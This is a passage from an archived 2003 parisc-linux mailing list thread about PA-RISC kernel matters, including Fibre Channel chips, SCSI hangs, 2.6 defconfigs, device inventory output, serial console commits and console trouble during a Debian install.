	by dsl2.external.hp.com (Postfix) with ESMTP id A71B848F6
	for <parisc-linux@lists.parisc-linux.org>; Wed,  8 Oct 2003 16:06:04 -0600 (MDT)
Original-Received: (from mkp@localhost)
	by wilson.mkp.net (8.11.6/8.11.6) id h98M5u123779;
	Wed, 8 Oct 2003 18:05:56 -0400
X-Authentication-Warning: wilson.mkp.net: mkp set sender to mkp@mkp.net using -f
In-Reply-To: <1065649096.10567.11.camel@dhcp23.swansea.linux.org.uk>
Original-Lines: 13
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19757

>>>>> "Alan" == Alan Cox <alan@lxorguk.ukuu.org.uk> writes:

Alan> If I remember rightly tachyon is one of the FC chipsets where
Alan> you have to implement a *lot* of higher level FC handling
Alan> yourself. 

That's true only for the really old tachyon chips.  The TS and TL
chips supported by the Compaq driver as well as the XL2 are all recent
enough to have a fibre channel state machine on chip.

-- 
Martin K. Petersen      http://mkp.net/



From - Thu Nov 08 21:29:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dub@latnet.lv
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] System hangs after SCSI problems
Date: Thu, 09 Oct 2003 11:33:01 +0300 (EEST)
Lines: 28
Approved: news@gmane.org
Message-ID: <1065688381.3f851d3da4b56@clients.latnet.lv>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=KOI8-R
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622854 32374 80.91.229.3 (22 Nov 2014 02:20:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  9 02:33:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.latnet.lv (mail.latnet.lv [159.148.108.208])
	by dsl2.external.hp.com (Postfix) with SMTP id 691C34840
	for <parisc-linux@lists.parisc-linux.org>; Thu,  9 Oct 2003 02:33:04 -0600 (MDT)
Original-Received: (qmail 13630 invoked from network); 9 Oct 2003 08:33:02 -0000
Original-Received: from unknown (HELO sisenis.latnet.lv) (159.148.108.1)
  by mail.latnet.lv with SMTP; 9 Oct 2003 08:33:02 -0000
Original-Received: (qmail 8220 invoked by uid 33); 9 Oct 2003 08:33:01 -0000
User-Agent: IMP/PHP IMAP webmail program 2.2.6
X-Originating-IP: 212.93.96.158
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19758

> dub@latnet.lv  dub@latnet.lv
> Wed, 24 Sep 2003 18:25:47 +0300 (EEST)
> I run Debian vmlinux-parisc-2.4.20-32-smp on K210. Not recently I faced a
> strange hang situation. Host stopped responding both from network and console, 
> ethernet port remained up on link level. In syslog.log and kernel.log I see scsi
> problems.
> After restarting all disks are OK (one of mirror partitions was resynced 
> manually). 

Hi,

Just for your information. The problem was with a SCSI disk. After a week, it
had more problems and md mirroring removed it. I tried to issue dd.

dd if=/dev/sdf1 of=/dev/null bs=64k
dd: reading `/dev/sdf1': Input/output error

After some seconds the system stopped responding (I saw it when entering the
next command).

My Humble Conclusion. Comaring to HP-UX, Debian is not so stable on PA-RISC
platform. :-)

BR,
Dub




From - Thu Nov 08 21:29:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] defconfigs in 2.6
Date: Thu, 9 Oct 2003 16:05:18 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20031009150518.GG27861@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622855 32376 80.91.229.3 (22 Nov 2014 02:20:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:55 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  9 09:05:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id CFB73491D
	for <parisc-linux@parisc-linux.org>; Thu,  9 Oct 2003 09:05:19 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A7cLu-0002rg-M7
	for parisc-linux@parisc-linux.org; Thu, 09 Oct 2003 16:05:18 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19759

There's a generic scheme for having defconfigs-for-different-systems
in 2.6.0-test7 (actually, it may have been there in -test6 too, but
we weren't using it).  I've added one for the 712 as an example.  To
use it, rather than typing "make defconfig", you type "make 712_defconfig".
The Makefile looks in arch/parisc/configs/ for a file by that name and
uses it if it finds it.

So what configs should we support?  This is one of those bikeshed kind
of questions, so let me take a stab at it first:

- 712 (Lasi, Wax, no PCI, no EISA.  targetted at exactly 712, may work on
	other snake-type boxes)
- hawk (adds ccio, eisa, PCI, ncr720, mux.  targetted at A180,
	B, C, J, D, K, R)
- music32 (SMP, PA8000, SBA PCI, no GSC, targetted at B1000-J6750)
- 32bit (everything.  should work on 705-J6750, including A180, EFGHI,
	B, C, J, D, K, R)
- music64 (SMP, PA64, SBA PCI.  targets A500, L2000, etc.)

I don't want to add any more than this because the effort of maintaining
all of them quickly adds up.  Is everybody happy with these suggestions?
Obviously, you can tweak your own config to your heart's content, these
will just be the defconfigs distributed with the kernel.

As far as naming goes, most of the boxes with ccio in them were some
kind of hawk, most of the boxes with SBA in them were named after musical
terms.  I suppose for consistency the 712 config should be called gecko...
Please, quibble about the names ;-)

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Change in device inventory
Date: Thu, 9 Oct 2003 16:21:40 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20031009152140.GH27861@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622855 32378 80.91.229.3 (22 Nov 2014 02:20:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:55 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  9 09:21:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 137954840
	for <parisc-linux@parisc-linux.org>; Thu,  9 Oct 2003 09:21:41 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A7cbk-00031G-A7
	for parisc-linux@parisc-linux.org; Thu, 09 Oct 2003 16:21:40 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19760

I got annoyed with the device inventory which used to look like this:

7. Gecko 80 Audio (10) at 0xf0104000 [2/0/8], versions 0x1c, 0x0, 0x7b

I could never remember how these numbers corresponded to what I needed
to put in a driver (or compare with what was already in a driver).
So I changed it in 2.6.0-test7-pa2 to look like this:

7. Gecko 80 Audio at 0xf0104000 [2/0/8] { 10, 0x0, 0x01c, 0x0007b }

Now you can copy & paste it directly into a driver (possibly using
symbolic constants rather than literals ...).  It has the added benefit of
being slightly shorter so more of the names fit on one line.  The padding
to 3 and 5 digits is an additional reminder of which number is which.

I don't imagine this change will affect anybody too much, but it's a
user-visible change, so I thought I'd mention it.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: [parisc-linux-cvs] linux-2.6 willy
Date: Thu, 9 Oct 2003 19:24:16 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <3F5CC41F000105EE@ocpmta3.freegates.net>
References: <20031009140021.9199A4941DC@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622855 32380 80.91.229.3 (22 Nov 2014 02:20:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  9 11:24:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1500F4840
	for <parisc-linux@lists.parisc-linux.org>; Thu,  9 Oct 2003 11:24:20 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1A7eWQ-0008ET-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 09 Oct 2003 19:24:18 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 9 Oct 2003 19:24:16 +0200
In-Reply-To: <20031009140021.9199A4941DC@palinux.hppa>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19761

Hi Matthew,

Sorry but it doesn't help yet to boot the b2k model (always same symptom)
Or do i lost something and should I have to wait for a 32bits_defconfig?

Thanks in advance for additional advise,
Joel

>-- Original Message --
>To: parisc-linux-cvs@lists.parisc-linux.org
>Reply-To: parisc-linux@lists.parisc-linux.org
>From: willy@parisc-linux.org (Matthew Wilcox)
>Date: Thu,  9 Oct 2003 08:00:21 -0600 (MDT)
>Subject: [parisc-linux-cvs] linux-2.6 willy
>
>
>CVSROOT:	/var/cvs
Module name:	linux-2.6
Changes by:	willy	03/10/09 08:00:21

Modified files:
	drivers/serial : 8250.c 8250_gsc.c 

Log message:
Register the serial console from the GSC driver, not just from SuckyIO.
Add a guard to prevent reg
>stering the serial console twice.

_______________________________________________
parisc-linux-cvs mailing list
parisc-linux-cvs@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux-cvs



-------------------------------------------------------------------------
L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: [parisc-linux-cvs] linux-2.6 willy
Date: Thu, 9 Oct 2003 18:34:36 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20031009173436.GI27861@parcelfarce.linux.theplanet.co.uk>
References: <20031009140021.9199A4941DC@palinux.hppa> <3F5CC41F000105EE@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622856 32383 80.91.229.3 (22 Nov 2014 02:20:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  9 11:34:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D4D89492F
	for <parisc-linux@lists.parisc-linux.org>; Thu,  9 Oct 2003 11:34:37 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A7egO-0005cZ-Qf; Thu, 09 Oct 2003 18:34:36 +0100
Content-Disposition: inline
In-Reply-To: <3F5CC41F000105EE@ocpmta3.freegates.net>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19762

On Thu, Oct 09, 2003 at 07:24:16PM +0200, Joel Soete wrote:
> Hi Matthew,
> 
> Sorry but it doesn't help yet to boot the b2k model (always same symptom)
> Or do i lost something and should I have to wait for a 32bits_defconfig?

I haven't even tried to track down the problems on c3k yet.  I might
get round to it in a week or so.  Other issues are pressing.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max <max@avtlg.ru>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP-PB 100 Base TX Support ?
Date: Thu, 9 Oct 2003 22:21:13 +0400
Lines: 4
Approved: news@gmane.org
Message-ID: <22393145.20031009222113@avtlg.ru>
Reply-To: Max <max@avtlg.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622856 32386 80.91.229.3 (22 Nov 2014 02:20:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:56 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  9 12:21:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from advent.avtlg.ru (advent.avtlg.ru [217.107.156.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 11F404840
	for <parisc-linux@parisc-linux.org>; Thu,  9 Oct 2003 12:21:18 -0600 (MDT)
Original-Received: from home (0-42.dial.avtlg.ru [217.107.148.231])
	by advent.avtlg.ru (8.12.8/8.12.8) with ESMTP id h99ILCHK020782
	for <parisc-linux@parisc-linux.org>; Thu, 9 Oct 2003 22:21:16 +0400 (MSD)
X-Mailer: The Bat! (v2.00) Personal
X-Priority: 3 (Normal)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19763

Is HP-PB 100 Base TX network card supported by  2.4.19-pa24
(PDC_CONSOLE)?



From - Thu Nov 08 21:29:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-PB 100 Base TX Support ?
Date: Thu, 9 Oct 2003 19:24:42 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20031009182442.GM27861@parcelfarce.linux.theplanet.co.uk>
References: <22393145.20031009222113@avtlg.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622856 32389 80.91.229.3 (22 Nov 2014 02:20:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:56 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Max <max@avtlg.ru>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  9 12:24:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1A70D4935
	for <parisc-linux@parisc-linux.org>; Thu,  9 Oct 2003 12:24:43 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A7fSs-00063j-C1; Thu, 09 Oct 2003 19:24:42 +0100
Content-Disposition: inline
In-Reply-To: <22393145.20031009222113@avtlg.ru>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19764

On Thu, Oct 09, 2003 at 10:21:13PM +0400, Max wrote:
> Is HP-PB 100 Base TX network card supported by  2.4.19-pa24
> (PDC_CONSOLE)?

Almost certainly not.  If I remember correctly, this uses a custom
Interphase chip we don't have documentation for.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Walker White <wmwhite@udallas.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] IBM 3151 on K200 in Debian 3.0
Date: Thu, 9 Oct 2003 13:26:41 -0500
Lines: 31
Approved: news@gmane.org
Message-ID: <20E48BDA-FA86-11D7-B35B-0030657CC792@udallas.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v552)
Content-Type: text/plain; delsp=yes; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622857 32392 80.91.229.3 (22 Nov 2014 02:20:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  9 12:26:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from acad.udallas.edu (acad.udallas.edu [192.91.253.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7AC554939
	for <parisc-linux@lists.parisc-linux.org>; Thu,  9 Oct 2003 12:26:48 -0600 (MDT)
Original-Received: from udallas.edu (arkham.math.udallas.edu [10.3.12.16] (may be forged))
	by acad.udallas.edu (AIX4.3/8.9.3/8.9.2) with ESMTP id NAA24502
	for <parisc-linux@lists.parisc-linux.org>; Thu, 9 Oct 2003 13:28:31 -0500
X-Mailer: Apple Mail (2.552)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19765

I have scoured the FAQ and mailing lists.  Supposedly this has been  
resolved, but I am having the same old problems.

I just inherited an old K200 which I want to give my students as a  
"play" machine.  I am trying to install Debian 3.0 on it.  When I got  
the machine, it had no console whatsoever.  So I grabbed an old IBM  
3151 and plugged into the machine.  Works, no problem.  I can boot into  
HPUX just fine (which is still on the machine).

I tried to boot to the CD.  After a few stack dumps, a learned from the  
mailing list that I needed to change my console to ttyB0 from ttyS0.   
No more stack dumps.  However, after the message that says I might not  
see anything (and hence need to switch consoles), I do not see  
anything.  Supposedly this issue was fixed in the install CDs (at least  
that is what mailing list says), but doesn't seem so to me.

Is this an issue with the install CDs, or do I need to do something  
funky with the IBM 3151?

------------------------------------------------------------------------ 
-----------------------
| Walker White                                                           
  Assistant Professor  |
| wmwhite@udallas.edu                                                    
Dept. of Mathematics  |
| 972 -721-5380                                                          
University of Dallas  |
------------------------------------------------------------------------ 
-----------------------



From - Thu Nov 08 21:29:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] defconfigs in 2.6
Date: Thu, 9 Oct 2003 23:21:18 +0200
Lines: 9
Approved: news@gmane.org
Message-ID: <200310092321.18573.deller@gmx.de>
References: <20031009150518.GG27861@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622857 32395 80.91.229.3 (22 Nov 2014 02:20:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:57 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  9 15:23:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 2DD5D4840
	for <parisc-linux@parisc-linux.org>; Thu,  9 Oct 2003 15:23:20 -0600 (MDT)
Original-Received: (qmail 26677 invoked by uid 65534); 9 Oct 2003 21:23:08 -0000
Original-Received: from pD9040D49.dip.t-dialin.net (EHLO p100) (217.4.13.73)
  by mail.gmx.net (mp003) with SMTP; 09 Oct 2003 23:23:08 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.5.9
In-Reply-To: <20031009150518.GG27861@parcelfarce.linux.theplanet.co.uk>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
